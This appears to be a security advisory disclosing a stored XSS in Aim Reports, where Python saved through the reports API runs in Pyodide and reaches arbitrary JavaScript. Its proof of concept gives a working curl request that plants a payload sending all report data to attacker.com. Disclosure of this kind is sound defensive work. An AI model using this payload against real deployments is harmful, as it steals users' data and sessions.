Description
A stored cross-site scripting (XSS) was found in Aim Reports allowing malicious Python code to be embedded to execute arbitrary JavaScript in users' browsers. The issue occurs because the application allows users to store Python code in reports that is automatically executed when viewed by other users. The vulnerability stems from the ability to use Pyodide's JavaScript bridge without any restrictions, allowing attackers to break out of the intended Python execution sandbox.
Source - Sink Analysis
- Source: The entry point is the
/api/reports
API endpoint which accepts user-supplied Python code in thecode
field of POST requests. - Data Flow:
- Code is stored in the database as-is with no sanitization (via
Report
model inaim/web/api/reports/models.py
) - When retrieved, the code is embedded within a React component
- The markdown renderer interprets code blocks with the "aim" language tag
- These code blocks are passed to the Board component for execution
- Code is stored in the database as-is with no sanitization (via
- Sink: Execution occurs in
Board.tsx
where:- Pyodide loads and executes the Python code
- The Python code uses
pyodide.code.run_js()
to execute arbitrary JavaScript - No restrictions or checks are implemented on what JavaScript can be executed
The vulnerability exists because there is no sanitization between the API input and the JavaScript execution.
Proof of Concept
-
Create a malicious report:
curl --location 'http://127.0.0.1:43800/api/reports' \ --header 'Content-Type: application/json' \ --data '{"name":"Security Test","description":"","code":"```aim\nimport pyodide\npyodide.code.run_js(\"fetch(\\\"/api/reports\\\").then(r=>r.json()).then(data=>{const img=new Image(); img.src=\\\"https://attacker.com/steal?\\\"+encodeURIComponent(JSON.stringify(data))})\")\n```"}'
-
Note the report ID returned in the response
-
Visit the report and upon loading, the malicious JavaScript executes in the victim's browser context, sending all reports data to the attacker-controlled server
This demonstrates data exfiltration, but other payloads could perform different malicious actions.
Impact
- Attackers can run any JavaScript code in victims' browsers
- Steal authentication cookies and tokens
- Access and steal sensitive information from the application
- Make authenticated requests on behalf of victims